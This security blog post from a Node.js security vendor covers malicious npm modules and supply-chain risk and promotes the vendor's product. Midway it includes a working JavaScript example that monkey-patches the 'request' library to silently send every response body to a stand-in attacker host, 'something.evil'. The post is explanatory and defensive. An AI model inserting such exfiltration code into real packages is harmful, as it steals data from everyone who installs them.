The Dangers of Malicious Modules

According to a recent security survey by npm, 77% of respondents were concerned with the security of OSS/third-party code. This post will be covering just that; security vulnerabilities introduced into an application by way of code written by a third party. Specifically, we will be considering vulnerabilities which have been introduced intentionally.

Should I be worried about third-party modules?

The first thing you may be wondering is if malicious modules are even something to worry about. Programmers are a pretty friendly bunch; why should we be suspicious of the modules they’re publishing? And, if every package on npm is open source, there must be a sea of eyes keeping track of every line of code, right? Besides, I only have a few modules, how much third-party code can that be anyways?

Before diving into these answers let’s first check out this article: “I’m harvesting credit card numbers and passwords from your site. Here’s how.” This is a fictional story of an author of a Node.js module, hosted on npm, which is able to covertly steal credit cards from websites. The story also details the various methods for hiding these activities; for example the code never runs when hosted on localhost, it never runs when a dev console is open, it only runs a small percent of the time, and the code published to npm is obfuscated and differs from the code hosted publicly on GitHub. While the story is fictional, the technological approach it outlines is entirely feasible.

Of course, that’s just a fictional story. Are there instances of this actually happening? npm recently posted this article: “Reported malicious module: getcookies”. This article covers a real situation in which a module was published and became a dependency used by other modules. This malicious module is triggered when it receives specially-crafted headers and will then evaluate arbitrary JavaScript code provided in the request.

The getcookies module did become a dependency of several other modules, but the damage theoretically wasn’t wide-spread. You may now be wondering how much damage could be done, or how much influence over the npm ecosystem an attacker could gain. In the article “Gathering weak npm credentials”, a security researcher describes how he was able to obtain credentials (and therefore publishing rights) for npm user accounts which accounted for ownership of 14% of the overall npm package ecosystem. This was done by gathering credentials from the many available credential leaks as well as brute forcing weak passwords. As these packages are dependencies of other packages, the researcher was able to transitively affect 54% of the overall npm ecosystem! Had the researcher published a patch release for each package he controlled, then running an npm install with a dependency tree containing any of those 54% of packages would result in executing the researcher’s code.

The important takeaway is that even well-meaning package authors can be the victim of phishing attempts and password leaks. As a result of the above research, npm did add Two Factor Auth (2FA) to their service. However, even with the addition of 2FA, packages hosted on npm aren’t necessarily uncompromisable. 2FA is optional and it’s unlikely that all npm package authors will have it enabled. Although 2FA is much more secure, many 2FA methods are susceptible to phishing attacks as well.

Of course, module authors are much more likely to accidentally add a vulnerability to a module than to do so intentionally. Academics have found tons of injection vulnerabilities in Node.js modules which may be making your applications vulnerable. We’re only really starting to see research in this area, and attacks targeted at npm modules will only become more and more lucrative as the ecosystem, and number of Node.js developers, increases.

How much third-party code do I use?

If you had to guess, what percent of your codebase is made up of application code and what percent is third-party code? Now that you’ve thought of a number, go ahead and run the following command somewhere within your application. This command counts the lines of code in your application and compares it to that of the node_modules directory.

$ npx @intrinsic/loc

The output from this command may be a little bit surprising. It’s pretty common for a project with several thousand lines of application code to have over a million lines of third-party code.

How much damage can actually be done?

Now you might be wondering what sort of damage could actually be done. For example, if your application depends on module A, which depends on module B, and finally module C, then what are the chances that we’re actually passing some important data to module C which could be compromised?

In order for a malicious package to do damage, it doesn’t matter how deep it is in the require hierarchy, it doesn’t even matter if it is ever directly passed sensitive data. All that matters is that the code is require’d. The following is an example of how a malicious module can modify the require global in a way which is hard to detect and will have repercussions throughout the entire application:

{
// Require the popular `request` module
const request = require('request')
  // Monkey-patch so every request now runs our function
const RequestOrig = request.Request
request.Request = (options) => {
const origCallback = options.callback
    // Any outbound request will be mirrored to something.evil
options.callback = (err, httpResponse, body) => {
const rawReq = require('http').request({
hostname: 'something.evil',
port: 8000,
method: 'POST'
})
      // Failed requests are silent
rawReq.on('error', () => {})
rawReq.write(JSON.stringify(body, null, 2))
rawReq.end()
      // The original request is still made and handled
origCallback.apply(this, arguments)
}
    if (new.target) {
return Reflect.construct(RequestOrig, [options])
} else {
return RequestOrig(options)
}
};
}

This code sample, if included anywhere in any module required by a Node.js process, will intercept all requests made via the request library and send the responses to the attacker’s server.

Now imagine if we altered this module to be even more nefarious. As an example, it could even monkey-patch the methods provided by the internal crypto module. This could be used to send any string of text that the process encrypts to a third party. This would affect other modules which have crypto as a dependency, such as database modules performing auth or the bcrypt module when hashing passwords.

A module could also monkey-patch the express module and create a middleware which runs on every incoming request. This data could then be easily broadcasted to the attacker.

Mitigation

There are several things that we can do to help protect ourselves against malicious modules. The first thing to do is to be conscious of the number of modules installed within an application. You should always know how many modules your application depends on. If you ever find two modules which provide the same functionality, prefer the one with less dependencies. Having less dependencies means having a smaller attack surface.

Some larger companies will actually have a team hand-audit each package and whitelist versions of packages which the rest of the company is then allowed to use! This approach isn’t that practical considering the sheer number of packages available on npm and the number of releases that happen. Also, many package maintainers release security updates as patch releases so that consumers will get an automatic update, but if the review process is slow then an application can end up being less secure!

npm recently acquired NSP and released npm audit. This tool will scan your installed dependencies and compare it to a blacklist of modules/versions which contain known vulnerabilities. Running npm install will even tell you if known vulnerabilities are present. Running npm audit fix will attempt to replace vulnerable packages with semver-compatible versions, if one exists.

npm audit security report

This tool, while powerful, is just the start to defending against malicious modules. This is a reactionary approach: it depends on vulnerabilities being known and reported. It relies on developers running the command on their development machines, viewing the output, changing their dependencies to no longer require the vulnerable module, then deploying again. If a vulnerability becomes known it will not proactively defend a currently-deployed service.

Often times issues will be discovered with npm audit for packages which don’t yet have a patched version (such as with the stringstream package shown in the screenshot). For example, if package A isn’t frequently updated and it depends on a vulnerable version of package B, and then the maintainer of package B releases a fix, the application owner can’t simply update the version of package B relied upon by package A. Another shortcoming is that sometimes the audit results are for issues which cannot be exploited, for example a ReDoS vulnerability in a module which never receives strings from end users.

After reading this post you might even be tempted to avoid all third-party modules entirely. Of course, this is completely impractical as there’s a wealth of modules available on npm and recreating them would be a costly endeavor. The appeal of building Node.js applications comes from both the large ecosystem of modules on npm, and the velocity in which we can build production-ready applications. Avoiding third-party modules defeats this purpose.

Remember to always be mindful of the modules you do have installed, be conscious of your dependency tree, be wary of modules with large amounts of dependencies, and scrutinize modules you’re thinking about adding. These are the best things you can do to prevent malicious modules from entering your dependency tree. Keep modules up to date once they’re a dependency as this is a good way to get security patches. Unfortunately, if your application does end up with a malicious module in its dependency tree, or if a zero day is discovered, there’s not a whole lot to do. You can keep running npm audit in the hopes that someone reports vulnerable code, but even that means you’re vulnerable during the disclosure window. If you truly want to proactively defend your Node.js applications from malicious modules, prevent nefarious network requests, dangerous filesystem access, and restrict child process execution, you’re going to need Intrinsic.

What is Intrinsic?

Intrinsic is the result of attacking the dangers of malicious modules head-on. Given that modern applications contain so much code, our conclusion is that it is no longer realistic to trust it all. Intrinsic locks down your app and lets you very easily define what you expect your app to do, with policies for the filesystem, network, child processes, and more. Any code running in your application (either your code or third-party code) cannot perform any unexpected actions, such as leaking data to an attacker. This strict enforcement was built from the beginning to be fully resilient to malicious modules: no code running in your application can bypass Intrinsic or undo its protection.

Intrinsic provides very strong security, yet is extremely easy to use. You don’t need to modify any of your own code, and the policies are defined using a JavaScript DSL which lets Node.js developers feel at home. Further, Intrinsic is implemented as an npm install-able library itself, so you can keep developing and deploying your application exactly as you always have.

If you are looking for a way to secure your Node.js applications, give us a shout at hello@intrinsic.com.